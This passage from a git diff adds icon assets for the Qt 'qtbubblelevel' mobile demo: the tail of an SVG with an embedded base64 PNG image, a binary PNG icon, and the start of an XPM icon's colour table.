+WOWbT0eiVS7602CAS8/iFRnVOydpm9RuY7vk6VLIVdF+lfd2yY4hd28/hlwuj8nui0ZwnU1i4xQB
+ki/NPhRiQsrici05t180Vc0ZQy5aN71XezUrjgES5WqXhWs2sU+KBPomCSkVcsrkXEiS6bxL6Lkk
+giXFijsz0jDV+t/ZO/jicfbs/XI76YMSE5xiYtMAgPhnqf8mXh1AAhe7+h3kq98wNaQvzZ0ziozz
+dmcCY4MgqTNmIgEZQXKXVAkhv3hYQq9KAKL/2wC77ClIhisw0Afkgllk26qU5EyQcnYmyEpOxR9g
+Gkzg4tmyQmkutlMi5zykR7oqAYYgvdivDR5uNrxLrhQT7MAwpc0c3J7x1HH0N3ACYiobBNxrsz7Z
+KdphIIpzrDlGEvPxzSHeJXdGz+Em3j3H7FUH1uYL6dLZh6HIVSfQc5Gx/yqNAYZMIpGkkFImp0Ip
+E2ag2n0MuoHA5B3pDDCYIKUrILCPzAUGGDp0J636hOIu6v29n+t6YDzzb+EC9gcQIDCYWGKCRWjp
+WZ9EAstIgFpvu2VIasOHccluF+mu5Gs2ztO57IujpJReAQ7XVEAIDxwDWNhhkooDvjwBhqiE+tsU
+c8ruzEg5kUPsp5QcPA7utK2VsGO2Cy0xG52T/TK27gRKQzX01/h3PGNggvdaAHZNhvrGTJIUK3Qb
+vY4DNr+Do2Pvq+uB1D2dCDQji0vJxEuwbLaXYC/bcm0uS0qZ1zcDroDArsAs0KoIJgVSJqUZk0ZK
+Z5p22y+RxEhSYmewm37B1Qn3LgoDO5i4oyQzxcBcGGR59ukezdme88Med2Q1Vv74jL0UeWU4npMF
+g1pmE67xlVnMr20Mai751UKypQaWIXb+uq0otiDAlIqD6aRMOTNJvjiZIVh+RQ3s+hZgtED7dd/R
+c0nFhpzcuUN43QJw5URKhlqiVUObkiV888k2YJYCQ2TCc8cm7kWHhPH5u6Aehrh/Q+NxNWTppcPH
+sCs45BVypBc+kf0zLWS/YaoIMpgPU8waJtXHTbujJBg2AHYSJXeRn5Mvmo70L6D917SY2/36bDiE
+Uuv54s1+vddpNMQM1BrNFpqCkUlJEVNaW2itOYObYKqo+Ho2xCdaQj9aWL5Jx+A53GyX56SDuje3
+PmFXsI9P1dvuKYhjnd6PHdJTUVR2ey1mNFOaNcwaakozC6dPRq3vrywu81Jyc1EU1UpVid/9tj3/
+aMbOV7Oba4HycP7yps6OK7veTR4U8vi4cv/4jbqCysKBAiw8nL+wnFfm6YjUhK1KKm7b5pLIkwS6
+NbeBRZFkm8dYhKSuAi61I71VZMc9L+l7B0ZvlADgtro9v6ibe4q2TcqaGk0b2vxlK2jL6JppNaHV
+Yy3MKvOUKOUOU+N0PmNNmHSm3FWalN/eQHMsYvqUAQyhfPn285sR8MDd4vvZqvBwv/LL5y+sK5zX
+D3z8dCClxtdvP/Pw8Mg03SFFsOJWQC6JMifSlEg5NEpyJpDwHHZ9LlaQFwMcOju9B7Vdtm46Mn6r
+PSjR9EukqphqAD8wbbTmG2VWFVvAggFqFbT6biBU7g6FlH+HVuXb1wdME/NxRuY7DvoWBrCx4/jk
+Y4Hy9dtfQtC+4X7RbR8r37q8/3rmz3/9zLLAp9MHqn6iTPDzlz/z7es3cpphcpNGipBLZpqzS4OQ
+CCkD2cbmjoSXEJXLzsDfhAGu0JXr3rMd3ANkttW1SSs1Q9uGEVpr4duv6KrYGaz66q9VsGZYa4go
+Hz8eSbmxLpXPf/0MVjjeHWG641jfwACAql3cKCr3p4f3O0DEvRnajIfTmYfHL5wXQ6Ry+ACzJJb1
+gcfzN0wzVgTbif9SMnnKpCmRC+7pSoYUds6b1KHBy8dfNVN/Q9OvmHzvMQU9QKaxuXzSaK9vlxMR
+P0YNBmi1oWeXAK0mF/8raGtgyjQlytxY1iOn08rX+69ghWor82NF0/SGFl7fJyjG6ibJm0mCq5tv
+W1qlWUVVaVYxIhC0AMmo9YyuAR410VRomiiWyJZpJqSGT74SaiENXDU8fnt73d65+ndd+I0fvkoe
+HaUIIeo1fB8WQBdBWwR6VFcBramL+0XRmmgNWgVrvqM6Hw+USSArSmVtK6aNtAprS0ztbUE8F2fY
+jFJ1fZ/zgxSu3hZWQKXaSjVDqSgNUmY6FKY5c14WmgpSO3DsDqKMifmuQg4smN2BJMk9iMPb50r6
+3br65QB83+XbbdzlLdhu70d8JzV8Ea0abccA2oxWFW3+agP8GSULZc5MB9/Obtao2kbEb9NG/QFt
+N4XStJtcbyFflkbYswbVGk3VX+YvE2M6TMx3M+nxTKsG2iNXBROjDf6TzeurAtp3DyV8Dbbp+yQR
+htbb8o9JbsJJsEG3Zs1igVgChdaM1oxaPZRC1dBVgwlA1T/LSShTZjpM7lInrAZVUDcTmyntDVbg
+NRKgVOpFhP3rlwrQ3K43c9GvbUS0tPi8TIXj8cB8XLDHhVZtuEIxcV+BEZDUMQCRa0BgAhN1hwmx
+6tUn3/5W/vu3Utj2hM/femy+JUyV1gRtwQTVBjO0qmhtqMqIBs6lcDzOzPNEzsmDQ5pRm3sVnVFi
+zH4AFWsemfJ26hzeMBOaKarqjgxzrm2tIZKY5pm7uzusCqfl7NwsoMmc+SzeNSHZfaWioBrewuzi
+z8S2ECBkSK7vRALfSVtAjLiAG6DVlAjrMhfxatQ1Jl8NrW5BEapCRJimwuF4JOeMSUy26gCRTc0X
+1w+QAEaPCHrHzdyr5LrPNLkYC3vTzNDWqK15YE4qfPz4iXaG5X6lNfVVbWxBopLcCdR9FdoQDdMQ
+G7F+ogzzs2OAp8Hm38MM71xWZh7NG23fI38Hd/HeoFWlNTcNa3OpmQAR3xmd5gOHwxFJQtWKWA7P
+4KYmusT9XhKgaHtfEKR1tANgQlIhqzc2NYEGNI9xM4xchPmYKYdCtUqrimnseDV3zZqCZCM1yBmS
+RuqXiasDie2CzgybMeAd2r2/y7BBMKu8ZITN8+m/2Y0B7gmU8FXYbuX3VavV0Kqu+1s4ZZpirWHa
+UDHmSbg7FI5zpmQQU3T1QBJrDawhtkYQLqg+Cwh5B5lAaQojaO0tF5tEYkM48DQFAwTSryDNUFsx
+UyRlykE4fiqsJiwR+55ip1At+X5SU3ICilsKohGX2CKgYziIGGFTPfjUhl9gQ+NvY+4exNJjrvcb
+NOGUoqP8za72Tb0w+yKu3z1vIQkC/WsNY9YjPV3KWSMnYy4TH+4yhwmS1ZDKfj9aJVlFcVWpmi4G
+hb6NfJyKqj0Tob9hmGyTAAlDAumiFp4sl1cOEJUmzSVEThzuJpY6U1ulPkTiqDSf6AQpb0a/BgNg
+ikW8QM4gHRsMdcDYaXsS+fpmKRmWzYvx8AYNhTNMPcJyMay588cnv3vefMV30KfN76Pjew+VOxwO
+3N0dOQTw615D17Ku/yMNxxm0W1LfRf6AolrfDqJstwoC7ag2F3d90jVs3KSoBKoDSkkcjxOtztS1
+sa5Ka9V3vSJB0jIjS9ahQnMxK4JqjyHYh4TvxH8ETXo7w4v0ho71+Ny42/YyojG7IJcYA1FBq0IE
+wDgWIjJ8jFr319mQEgTo+3B3x93dHaW4e1ctcJkFU1nsJxhjUf0IDABQrF1Oyv7VoQrV0bNbOqDR
+PvHqTNFoqDU09clQ5jlhHw+oKg/3C+taPXZOErHzuSWKeIqhxwyIkHJCxSdfd6ogdSw5cMD7RORT
+CWBs2ckhlp44ekISNkFqhtD5+0TPIS0i78/HxttZ5sLxWDgej0zz7BauefwAKiMOwmI8TfGt43Y5
+L+DNJOIq4A3ZZNtAPWGALgF0mC3aui9AaaKkCBBVbWHuJI53s1sEtlADHXdnTxPouXDJQIpbAtqM
+lMSZIG3SYEs46RIhOONtveLJaDz5YwfyLLyT3emjQO3eTdsm22xjmI7gI7Yv58zx4DZ/mYpHTZti
+6nsBPRqYuI9FzIC1TdJ+H3UM8HZFudN/6uHOoZd0cGoXUx7cYaaR3NBQq322mOeM3k0+aKfV/eIK
+fTPFU78ElcAa4u5hC8aweG1qYIsjGKbiK92/BBBf5C4aw58flu9OAtj2WWUwwF7HbzrbrxMRSikc
+7+64uyscDgWRtG0bBwOk7vY2HX4GG4wQHsbvIutWQHuX+eu+nNhIDi/gE0ni7j5vMIZoRPsMi8N3
+BedDBmb/zFZqOEdMPTJWcGuiB1WmiB900GhYqJY9FpAuPXq42gu6jnps/97t+vh0OPsC7XdJYI0A
+voS9bkNva0ygWzCZaZo4Hg98uDsyzx4iZ6a07kEKqeEL09GthleVwFyqSnvjZtA1Cj/AG8k2Bkji
+HjvVLd7sCcdqgKrketQGMPNXysJ8LPTo3vPJzcba76cCrVsGMpxNKaJpVTwTeBP9/ofIlgL2nLZt
+5Eucb+P/m6TbofI+6TsQaArWdFMBO5VoEeE7TYVpyhyPE3d3M/OhkJKrSt/cNCRciEJf6SDhTjb1
+BvSQMdXvxwDuCNLrA3WNNhs71oZupslzUdVC+EvorGG9yBhmRIT5MO3i9xewSm2+1ZxIYQVYmH46
+UsJFXBqEj2ZTBSPI8kLHX40j8DZtzh58FXYm0P556Hc2068zhGr1PX+t5JyYZ5/w43HmeJyZpoRI
+SMzdyobIYx73dkeQBlP1mMq3F4K41lOjmNqV4ky/crF2xO0OId8X6C7LvgI8I1fHj30Xbz/5njTi
+6L6QOFqPdBFYKnX1Choufl1De0rZc5EPTxNEZbvPM+oq4tqwdFXVHUn9XZttUsBkqAmjSwjdJJ4o
+OQvzXDgeJw7HifmQPfAlxsRj9BjgtTOCoFvu5VhQrhYtTMAfogFEKFV7+PUbKAbAvW8GKgPhttYb
+GKageASsT0oOFRDid3P8Aw3Mt0KPMnnW0GnhdFpZF/ehq3aJYeReC2Cn//fu4W3erzHAZRd4xyhj
+y9p2en+ogR0A7BhBOsZRck6UMjHPhcNx5nCYwlpx6dCNCg91F8amlmngKn9Q94P4guqqxYYp+d1k
+RrEAKW8jGfrI2y+jqIGLwM1Z0ZWAJ0WkQK8W/pU++dEG8XSTlBJlShyZSJJYS6IuxrqutFZdujTf
+gOlSYewnPZn9K/16JZx8rOq9CQd49FHA3k1yx4o1JDtT5jwxzRPTVJjnQimJHFHPFnrCWa8HjOQh
+ETcGCP7oYj/UQI+l6MUjfgQVImL1TWR95vtA9MIGvcxBRa162Bf+uUfyKO5UCeN5mGkhNi3sfzJe
+Ji2RUuEwT9TZOJ/PLIvXHvJt6BCPMSMS6mXAuxDdL0gM7aHhTzsW1+0m37oN0LNywzEUJp1HJuOb
+XXNhniemuTBNJYprmPe/g4S9hRnSpIuSwUwYIwzePOeiF99o5qV2tjz/95NJ7AW8bwfVkbAGUGlp
+peWVapWajVWEglHVV+xWKLKNDZy9s952q7ZnFCNCSgYpR/pYJpVMWY2mgmplXdvmfbO26VXzpOpL
+dD2aTPBMqc4Atv0d3ydJngSbswe35kSZhDJbrHbIWZG0bvy37+cTcFnZ9uK79dGfpGjkC66yUtMa
+foRGs0z5bj+AP9IdQe8AlBKeq06aFDkoKSvMFc0r1ZL7B8xIFtaAbODp2R29TW5W7D6PVSeJXBRJ
+HlKuKrTm8QKttcAdggepdlS+WQK2zWJ8dokDtk2X6ORQKZHFHVVShTwJJRdKyZQJptlGIcwn6XbP
++2kbE8TIXRtiiHx/TQ2ZY8EUz0L6IdvBhBn4rot3veg1fo7HCdXMNHkCY2tt/E5VPdX5rXhj2OBp
+jFwpAhTMMvM8uSOlh1sPZoC2yjChust7yya+nIreCzellMjJ6x6IyPjbTdWtoIVnNhvIunNyPZ/k
+95OZY4u7u0P8nWJT7AcEhLgn8O3bwb1hWwMzInA4TMPrdamRHiL2Vn0jXo94QGd2Ct7zCyx2CFNO
+5JZjwkGnpxE0HaDKKyDQQ9ENkT65kZLdfRSp+xAkdiNdYmh4On809fGc56d5AD+CAczeux3MUwnQ
+V3fO+YUzCHgy6e+yOEgOGcb120re5+QlEaREEaLolUfm6GCA7lK+XhfJNpOSnnq2pZiPhrD3Bbgl
+c2kYv8dhsx+/kc7+bGy/i8x8O/i90bWjoINtu1P7v/u/9799x1PAGj3d6jljmaV43wbEJ9knq+vl
+rSZv9xVcAb+y/7gzQweCtoHM7SfRFrsoAL5noi6N7/O+fi8VR/Hvv8FzUf9EzL5H5z+jzeFySeSF
+Z3Ho3d3qEA1nT5+h3Zu4tr/Gk/sWW2QfdZPwspiPRJZnN/xRE/WcAfbv33vfMsKtv+Mm1/597e+3
+U/favbTbfX/9wvMja+kivdqUS97Bp++Xb3jNq/j9dOk+P+re5Xtu9tp1P0xPwW7CnjPb0/en1J1N
+r9z24nXvWVmbqP6R9LeceMD3At4TEPL/O72rz9fE9W+57vvF6z8FErcC/gkwwLsmJBjgzTzwHc/6
+J0YCvh38npjA//npvX0SeKuffWxq/dMi8aDQ1/XkPz69d3W9s1NXkf5vuOZ/6nF8SWZGaaYvsoO7
+Y+g1yXC1r782drLd/7fS+yDAb9DlL42Kdz6x+yXeetV7pdRlZnsNH/ZqpfvLDKNo9W+30iiy2cpj
+q/LZza63YThMLjbi1VCsq01HrBdf+e0DZsNdfOWuV9txOVDk1+hpEMq1H+zInr3/5gdFMOxlr9PF
+fgvi9RZ0K13Tm+PZwbGDLrsLfo07RxGvFw188fytfUQR5GdXvvaszQFzheR9kvdH455RWv/SM646
+nN6xBzMWwjOTeHxymTF6sd1Nuvv/ixdh7B/2H7EB6Mu7plz76tUv5PpA9QicS4+6NkzdNfQDYiO+
+j17p13V6HwuObe1nfXYYcv2ePWztqeAzSmo9uqXvhMUmiOw55RkpHsJ8ZWVeW7DXVcArEucqF/Z7
+Xv66h6RfvuhH47Vf6ddVh9P7wK0l41KJkJ6scu1pz7e/xKD8r3/3L7edrwiV6UxwlYzYZrv8ZY+X
+e9GI1O97SSFe596tLS+ve0V5XM0OHqljP5ReEZUXqX/31nYYli65uPeRzC/psro2yr/5f/7VdrFu
+++Z+kVw8U1KQ3Ybrs2aYJztcncwLUqBvdlzl3ivbtz3Q49pzUrosHrYDqn4EE7w+8K/Re0CxRczl
+C+YyH48rMvnZOwOsl//r7/83DzsakTM6ypW5bgM6dBtbkV67/mLjdZ/I8KS3o8MvhZ+NxFLPU9jE
+9/5ED3gqWcb+/rOubqlY6eX1EAEeW2DH1sfrNGTUM5Tdda/u4gf3z3yKyuWZGWy7zy4/tIfs2W4S
+vTRflwJ7q+1S0qjscNIzc9WgfGq9GQKSsZQ9lLuvSGM3mClSwJRsu/r9FzqpljB2eXG9XHxngN01
+BmHaeA5B0xa5cls+oMRo9gm2MfrEvbcNme7cErMtgzhSvHtfk24qL7Exw2tiu6/0HoXc2+ITtV3q
+eCoqopttUmqAxfhRt3CkK8annGBm1NqTbrqpbnhEdGAw6ecj+dZ7U/P08njewCe7+EaJbnpE0OMv
+Xoc+5xCz22psIQl6HBrIOL+GmKBuplnoXI/+TSOB0XpsQMTT9cSNsZMXq6ZPnFfS1sH5IoLXjHEG
+6ImSvZP9GNjUjwTb7UIaQE5IymwPjsFPya0eGdVYxmq55tERkciG7nUAtgyfJ2yzb0OXDOxx1u6e
+7CRjP910ME6PZNKt3RgWkdb9I4v+C8706K5dvbBEN7/3w4BQzt/+7AcTlTzO0+2i1Y+ABct5iLnB
+wSMf8GnWio+tF4uq1XPkBCGVfi5gn/iNSQcT7bFAXxm7c3634M9IqxJGzN4mdp+K1xH/JxvnS9oG
+7Pl6l3RFFcjWjj4xqm2UcBsGtOA1gSI4dfSjy+kdf/UjbXpN5M4ASWSXXr6Jlq6CtVUssrF72FpO
+HrxqbNnDtVZardQWBScsPfF0mxnl4cHLxeeSSQhNdYjULt6qeAh42wVUph4po1uhSFUdDepl4lS9
+kugW0+aOp7TrcH897XCINvYrWz0LNwZXkpDS5CtGt0qdfSKTJK9KsPOQxXxszNEHvzPPE337nAd6
+G3clcHbgtWOOPrgd0/SJQniCSzoeeILph4B4jhc6X7sK7irAOsPE2U/9LILWGsu6sC5RgaUJoiWk
+grdXBcr6eI/kDK3QRGhxKrGHPbvY0Fh5IywJIe9E1d6C6HpuGwANJmJTHV0Xjlfo8A56grpuE3kq
+IboaEECat7dX0dhWXAxMqIsnRtfu2eP8QpGoU3Q5kGXT29GO1pyxhipKYzL6BEpM2HByCVEK5wKi
+fUYD1+xEpsbky2AC/1plCxrV1qJYZYN1RZeFtqzYKkhdvVhVj98Uo+hqJPWSriklFoxWvfJ3mgoI
+1LXuKn+4jllt4MutH7vBl2AeMT+4maYMH4BBP8DAF2aNy22sMPpEIU+/YycaQyVZWB5+SR8MG0wh
+/fOcKSn7mUbiE6E8A2ZXaK9K+oQmA69ZnMhRvHBvvfjvU5hutvU5mLj3r1sMKZIbXRD5YumJNDYw
+VVScjBrNsJ27nHL2/AU8ucwP1PYqKw1zKbBPLDWj9PM/MSGRmdKECNRWWU+LYwG8zl+eCll6urTX
+Z5EQU8NE6jghBtWLHLtY36azi8hNIXUc4Ay1T37suXU2BkLpzONFGTQYKpYOvexq6ucO9cmPcwo9
+vj89kVLx5JFMtMX+x6TjK82/8wKFuYt1yWSZAs9s5lp/N4uETmnQIm/IiArpaTCLpDQOt+7qrGOk
+Pk8OWIPJesh6H9UBypVaG3VdqdUzpVIS0uxzti0gKOvqjSvVM9FyKpAMpXFeq5cyLZk8JcphJpXs
+qJpp0529497Svs4xNWqtmOrADS/V6/ZBH7s90nekXcfAbhaKm0IyANOmnjyJg1EyrkuF/sphMfT7
+dGvFJ/kp+BzFJ8VVoevy+CxURyKTmHfJJptPxcxrBXi7NkkGfkJZyeWpKgpwOtRcX0iWUPEkmWHM
+Sh/p2OUTl7Z1VdbWWGujhlOuFGGat763ODW+/Nc//4XDfOCP/ywjHwpFZNS2ncrMIScke+VuC44s
+SRDxE0G7JZC6WJTdYYfJw45ba3FytpteHTNvEbyb2TZWS2CO4VTi6WQ65ZGMss9L6ODOjZc9g70M
+r+5/m8hwb3fJYrIx1Qss1lcnkKUwJ9uBwD0D9NpJ/hqp82Zgnj4/nk/IiiNaAAAMGElEQVQ/SVa2
+BRX/dgnhBaQtjo21sF+9v37uoKpRiqulaZrdGlhbFF5Mnmgr+CJWo/zDP3zhcDwgzJhmjtOE1YbW
+xjx7Nm4vUy5iXrNOVpK5aPaat45InRcFS2kcVGym0PP1LGHkJ0Lg6QS5+HKQtdUbiFMlnzBAzs4E
+Oe/PztnuldLTFbc3MTuT7D2Gg8F2OKM7cCxYNnVTa6iqDu6Uhqdv7xmgqWcMhQAZz9LADrsk6MCX
+3ZTe8in2Lu0xVlJ8MYk7XpJkSvHUsVq9IoNId5P34pUCMmHJx1+pIEo5nWFtFbPPLGfj9z99IqNY
+XTg/emZNynD4cODDxyM09Yfsjj7rel4Aa0qrXhGkpM35g0bSdz+9W2QbdGfkJ5SyBN4QPM17S8zc
+//hlsuZ235QgZ18t3S7uvonXwtbdB9LVgg9iTr6ius6W0eiYHM07E7D7CFpIoq6SuszYTFqtOvBP
+B8BdtW1q6xkDpIleB8mP3/Vzm70U7UqrC8uy8vj4yLo2UsqU+QPT4Rjq2xCZMJTyuIJU5bw8sJ6V
+uijHIoiuWFvIyTjezWB+qM10nEilICkjJZNTF/9ewKmlhlEJ459UiuudWCk9CWWLAehW92ao7adY
+JCzHEMeqT1e1GeScyLnsPJbbhs+6roMBhnNkl0W8lwI5u1g0bQGewhOaEi0l2lp3DCDjlFEzobY0
+mG6zVNSLWmp26TtqPuy8dG3DO60D0ujTMMV30tQLb2/99+8SIhlTZVkqy7KyBgBsTVlX5bSekDUx
+TQdySV7Cx5TyeDagkbRRz5V6rnw8uE6jLcyTMJfMGeV8PvFJP3D36RMyTV7BowOiENu5RSeiitGU
+s3upwN2U7MrI7F59MnumsnWbG/DNDxnX9oHq146j6NOGiPvq6UBv77DZp5L3QSylUEoJ9eeSYjBY
+gLOeAbzfQ3ALQWiWNo9qL3NLT0SN85CGP6M7zRzQP3X7ehvdWsmbG2CoR1cpqi1K5hhmLgl878Bd
++CJenQyEx8dH7pczCyeOdx+ZD1NIC6V8e3hEMIoYWhvSFOqEzZk5+3pc10ouE/M0YQqPDw/U9Zsf
+ay7Jz7e18Bf4gTiODYbjCIhyb5nC3vO25+TU0XekaAOjIATxDAQmctjQ/lF3GO29es4A+cXASkfA
+zz4br8A0e7zQ1cL+mv6dI/dMi82uvFMRFgwPNuoXjXI6zU1bsW0MtmJQNiyZPU4eB1HhOKGUmVIk
+MECvONrPJ3IGf3g48fnzF+5XoeUjp6WOotSYUE6PD+7VmzINqCvULFhJSPGBXmvjwMQ0HWjaWB8f
+WJcFslGSr3DMnjDAEG+7XcVkE4kDJU9+bGxfFiGybRwUOao90R1Hjpa8471YQ47iDZ0R+mSC2+Y9
+x38/YV06qOrmE+hM0RplmmJSoiKXPq2E7sy6VSUpZSLlgo3aAbAdPuk7nL0UXl+5ao2WrNfHcqUw
+9lGeqreNNkvCDPyEkVBdOxwgYQksy8r9cs+6VD+XAT+McTmdedRHv06Eous5TvCeyKSwTRMlZ7Q1
+1tUo04G1Kt8eTs59BT4eP3I4zsyTF3gMqDl2CfvK75ZBkoRZRs3NlXHk65gYGV6PXnDaiy02lvPJ
+fWlPzMG+0nv5Nt98WtdKrSsO3KaxsvqEdTOwq42uKvr38+SVyfpGStM2VuC2rxEWBEKZilsiqZds
+0YFHcumFL8OCwrdyexXRfgj4JqU6E0OtUVpnB3p7eVgJ5jb13/UXJuRcBiA2g3k+8Pf/4u+pVnhc
+4edfPvN4Prv7XxLl7//570lJuJsmDvPEMWeOU2Hu7lKU03mhiXKXoMwTRQpaM3qCZVHM3NkjsUEk
+5k6OHngRhVdoVJqtkUNjY2Vb1/XqJ2sOy8LhEk0amjZ1sm2mSFTZdj95q43afOK8juFzF7MNzLCX
+Fv3vvqXsFeIltqFj1alvvGzeQrfdvXx7xc9x05g0rxCaW9/H6PZeZ/YAeuHFG5XWbetj6w6cnZQS
+sThHIVReDjd0LpTsm2y5TExlIqUyVKtI4vHUOJ8fkbpCXRDLgFD+z//jfyeLg7UiQjJlPZ/RuvDh
+7gOqjf/+5z9xbpl8PDDPMzkXHh9PfDs/UNfKspxptYbv3/uak5DFQYypUptbB5a3otIS7J76RlBs
+IVuohGmamQ8z6VDIs4MiF/19ZaUhAcCQ4zycIjJc1ZsHcL8Tt/9s/7nBOGdi1DoMSfRENAfT+sGP
+4Q+xbjZur9ZcIvU+O04psdGGe0fFJ0vbFg+Ri6vWMjk4TWG+eb2CiZz8XMFpmiilkPNEyf7uEk35
++vWeb9/u+fbtG/dfP/P15y+084lsldzB7x9++uCDXTK0xun+gVM9Y9r49NMfKVPh68NXvtzf85ef
+P5MPBz7+8ROfPnxAtFHXSl1XX3Wx/dl9Al28+05hA1ZI6xgowT1SKckwg7biEjlq7h1Ih5kyz2Mw
+uu7vk7enbR8iYbqtnv1vn249P6UmMVXdCrFtU2kDje4UyqE6Wq3oWsfWr5t8Dgib+gLxVd6dReGm
+Doy430J+AopDTXVV5c9OJGZEQvXSd14Jk+8UPoAT377d8/DwyPl0YjmfmDMcP92NeyJCcRcmFDHW
+trKc72nriXma+fjhjuOHO3763e/4fP/AL7985e7DJ/7w+9/z4fcfOMyTm22Gl4yvEQGEr+Zu4xL6
+EluABe2OGDb36dg63nc8fA2W3feQSw4uL8M+7lVI9n59N+/E9RzdTHN07D6pOL+3r+7Wxm6i9tCy
+wRLe9v3pM0mEMk2Ukl1UN8Pq5uMvqTBPMx8+3IFArQtN6zDjnAli3Nreb+BYqEvGHh301PGUEJnA
+fJWfzgun05nT45n1vLCsKw/39zzcP7gkNyWnzFwKH3+680M8p9mtlSSUuwRYYz2faKczhcrvf/eB
+n373Ex/uZswaRYRjKdRcOH995E//5U/88tc/+7Gw88SUy/BY5bRxbEJ23g9DNaMtud4M0NMPfkqS
+46Rpt7tLLtQ4Ot4AWsXOK71IY/fPC7DWlfN54fHxkdPpxHI+4/sEB99D23yxgNCaUgPZt4jeIRw7
+7tPY1MHQ/3tpsPNbNK3hCu/RP3A4Tvz06RN//F/+wNGPAaMUoRRH6yI+6W72EsEblfPpzLrWceBm
+fw23mHl71wa1GWttLMvCcq60dUVrxVrFaoVWyQKHnDlMhcOxcLwrTJOQkh9PLyQK50ea+une1iqH
+krj7cOAwF+6/feb+4cS3r1+gKcc8YWvjy1+/sP5ckSJMpXh5tuQFkqdSfHVMLqpTD1ZsjaZrhJnt
+RW/shfeYPrUIcUpjFaTsnsReZk4iyNPdrJlaG+u68PD4yOnxkfP5jCqkNNH3d12sxy6geQCJInGC
+mwa2KORA5l0k06VZOHC6N9EnqrrHbW3D1CV5ubyffveJf/7lxN3dgZTgeNdLxZfALVH4ymBdK6fT
+ifv7e5azH6zpSD4/ZYIwstaItmpxKJWZ1xnOZpQEx2nmeDdzkMachcOUmA6JMqedOxqESvn5559B
+3NlSpsw0FdZ15cuf/sRff/7Cl6/fWGslpcLh8JHDlMllAsksrfLt8cz5fPJTQqOMasrCVKbhh6+t
+siyLmyr4d9PsIhRkB7R27xGaVkphPhxi1dumUpJ7uj5+/MA8Hyj5wKHMlA8/MU9LTIx79GqIe6NB
+ctQsKXtou4IlC4dWIVnz84xbG0ywOa0kzEDzg69scpv7rCxL8nORTVnOynp+5Pz4V3LxyfaS8cEA
+klwNmfm27bKwLAvn8wKkkKLTYACXet6+PEDwRMqJacq+A4tSMhyK8HEW7grMqVKkkbtbJW3xBx3M
+lNN5+c85y78nzczJV3NbKqeHRz5//oVfvnxDRDgePjLPPvDSo06ssa6Nx8czy7r6nneEMnWwBrCu
+rqdqM4TM8XDgcNBR/LC1xlrX4aevq6+ylHOUXK9MUwlg11BTkmQOd0qWg8cxHDJ5yhEEkjFNHjjT
+Xc9xFmPK7meaxDeYLEEyRSKAQMQi7UroNYs3f7tilraQb3VQhoHV2EYPHCA0hDMkR/bn08ThbmUu
+k593pMpijaUqy3KKBaJkSZT5SM5GlpACWSkpM01CKYmDQZqCIVKmhNdwKsphShwPmbtZKSQmqrc7
+etPd2niP/vP/AAyBfHNJXSmFAAAAAElFTkSuQmCC
+"
+ height="129"
+ width="128" />
+ </g>
+</svg>
diff --git a/demos/mobile/qtbubblelevel/icons/qtbl_icon.png b/demos/mobile/qtbubblelevel/icons/qtbl_icon.png
new file mode 100644
index 00000000..780fbb41
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/icons/qtbl_icon.png
Binary files differ
diff --git a/demos/mobile/qtbubblelevel/icons/xpm/qtbubblelevel.xpm b/demos/mobile/qtbubblelevel/icons/xpm/qtbubblelevel.xpm
new file mode 100644
index 00000000..19f3c2f3
--- /dev/null
+++ b/demos/mobile/qtbubblelevel/icons/xpm/qtbubblelevel.xpm
@@ -0,0 +1,1783 @@
+/* XPM */
+static char * qtbubblelevel_xpm[] = {
+"64 64 1716 2",
+" c None",
+". c #BBD2A8",
+"+ c #BBD1A8",
+"@ c #BFD3A5",
+"# c #C0D2AA",
+"$ c #A4B594",
+"% c #94A488",
+"& c #B2C3A5",
+"* c #A5B694",
+"= c #A6B893",
+"- c #A7B993",
+"; c #A8BA93",
+"> c #A6B891",
+", c #A7B992",
+"' c #A7B792",
+") c #A7B896",
+"! c #A8B997",
+"~ c #A9BA98",
+"{ c #ABBC99",
+"] c #AABB99",
+"^ c #AABB98",
+"/ c #A8B996",
+"( c #A9BA97",
+"_ c #ADBC94",
+": c #ACBA95",
+"< c #ABB895",
+"[ c #ADBC9A",
+"} c #B6C3A5",
+"| c #95A285",
+"1 c #A9BA99",
+"2 c #BDD4AA",
+"3 c #AFC897",
+"4 c #AFC898",
+"5 c #AFC797",
+"6 c #B4C994",
+"7 c #B4C799",
+"8 c #97A981",
+"9 c #839570",
+"0 c #8C9E7A",
+"a c #7B8C65",
+"b c #7E9167",
+"c c #7D9268",
+"d c #7E9268",
+"e c #7E926A",
+"f c #82966E",
+"g c #859972",
+"h c #889B74",
+"i c #8CA07A",
+"j c #8FA37D",
+"k c #91A47E",
+"l c #93A680",
+"m c #94A881",
+"n c #93A781",
+"o c #95A983",
+"p c #96AA83",
+"q c #94A882",
+"r c #94A880",
+"s c #94A780",
+"t c #93A47A",
+"u c #90A079",
+"v c #8D9C77",
+"w c #8B9A78",
+"x c #98A787",
+"y c #879576",
+"z c #9CAE89",
+"A c #B1CA9A",
+"B c #B1C999",
+"C c #A7BF8A",
+"D c #A8C18A",
+"E c #A8C18B",
+"F c #A8C08A",
+"G c #ACC286",
+"H c #ACC08A",
+"I c #93A677",
+"J c #7A8C63",
+"K c #7A8D62",
+"L c #778A5D",
+"M c #7C905F",
+"N c #799162",
+"O c #7A9163",
+"P c #799063",
+"Q c #7B9363",
+"R c #7C9464",
+"S c #7C9465",
+"T c #819869",
+"U c #849C6D",
+"V c #89A071",
+"W c #8DA478",
+"X c #90A77C",
+"Y c #94AB80",
+"Z c #96AD82",
+"` c #97AE83",
+" . c #96AE83",
+".. c #98AD82",
+"+. c #99AF84",
+"@. c #9AB085",
+"#. c #99B085",
+"$. c #98AE83",
+"%. c #97AD81",
+"&. c #96A97D",
+"*. c #91A378",
+"=. c #8C9F76",
+"-. c #879973",
+";. c #879875",
+">. c #819271",
+",. c #96AA80",
+"'. c #AAC38C",
+"). c #A9C28C",
+"!. c #A7C189",
+"~. c #A8C189",
+"{. c #A2BB80",
+"]. c #A2BB82",
+"^. c #A1BA81",
+"/. c #A4BD83",
+"(. c #A3BD82",
+"_. c #A5BC7D",
+":. c #A4B980",
+"<. c #8CA06F",
+"[. c #798B5F",
+"}. c #788B5E",
+"|. c #7A8D5D",
+"1. c #7D935F",
+"2. c #7A9661",
+"3. c #7C9762",
+"4. c #7C9763",
+"5. c #819B66",
+"6. c #829D68",
+"7. c #829D66",
+"8. c #819C65",
+"9. c #849F68",
+"0. c #86A16A",
+"a. c #87A26C",
+"b. c #8CA674",
+"c. c #8FA979",
+"d. c #92AD7D",
+"e. c #95AF7F",
+"f. c #96B080",
+"g. c #97B180",
+"h. c #98B282",
